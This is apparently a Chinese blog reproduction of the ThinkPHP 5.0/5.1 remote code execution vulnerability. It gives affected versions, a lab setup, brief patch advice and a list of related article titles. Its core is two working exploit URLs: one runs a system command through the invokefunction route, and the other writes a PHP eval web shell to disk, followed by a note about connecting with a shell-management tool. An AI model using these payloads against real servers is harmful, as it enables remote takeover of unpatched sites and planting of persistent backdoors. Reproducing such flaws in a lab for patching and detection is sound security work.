ThinkPHP遠端程式碼執行漏洞
ThinkPHP是一個快速、簡單的基於MVC和麵向物件的輕量級PHP開發框架。
Thinkphp5.x版本中存在一個嚴重的遠端程式碼執行漏洞。這個漏洞的主要原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠端命令
影響範圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞利用
環境介紹:
thinkphp5.0.22+php5.4.45+ apache2.4.23
1.首先搭建好相應的環境,頁面訪問如下:
2.當看到框架為thinkphp5.x時,我們需要的就是驗證是否存在遠端程式碼執行漏洞
http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
3.確認此處存在遠端程式碼執行後,寫入shell
http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>
4.嘗試用菜刀進行連線,連線成功
當然這裡我們也可以選擇直接上傳大馬
相比手工,我們也可以選擇工具直接getshell都是可以的
修復建議
1、打補丁:
Thinkphp v5.0.x補丁地址:
Thinkphp v5.1.x補丁地址:
2、更新框架版本
參考連結
exploit地址:
框架下載地址:
docker漏洞環境原始碼:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69946337/viewspace-2656866/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- Joomla遠端程式碼執行漏洞分析OOM
- OpenWRT 曝遠端程式碼執行漏洞
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- 什麼是遠端程式碼執行漏洞?
- Discuz! X系列遠端程式碼執行漏洞分析
- .NET Remoting 遠端程式碼執行漏洞探究REM
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- log4j遠端程式碼執行漏洞
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- Struts2遠端程式碼執行漏洞預警
- ThinkPHP 5.x 遠端命令執行漏洞分析與復現PHP
- Log4j遠端程式碼執行漏洞漫談
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- Apache SSI 遠端命令執行漏洞Apache
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警PHP
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- 關於ThinkPHP程式框架存在遠端命令執行漏洞,致使部門網站遭受攻擊PHP框架網站
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)Apache
- OGNL設計及使用不當造成的遠端程式碼執行漏洞
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行PHP伺服器
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)SpringWeb
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)Apache
- 國家漏洞庫CNNVD:關於微信Windows客戶端遠端程式碼執行漏洞的預警CNNWindows客戶端
- WordPress 3.5.1遠端程式碼執行EXP
- PHPMailer遠端命令執行漏洞復現PHPAI
- Struts2遠端程式碼執行漏洞檢測的原理和程式碼級實現
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- Chrome 77釋出,修復遠端程式碼執行漏洞!請儘快更新!Chrome
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊PHP黑客
- VxWorks釋出安全更新修復多個高危遠端程式碼執行漏洞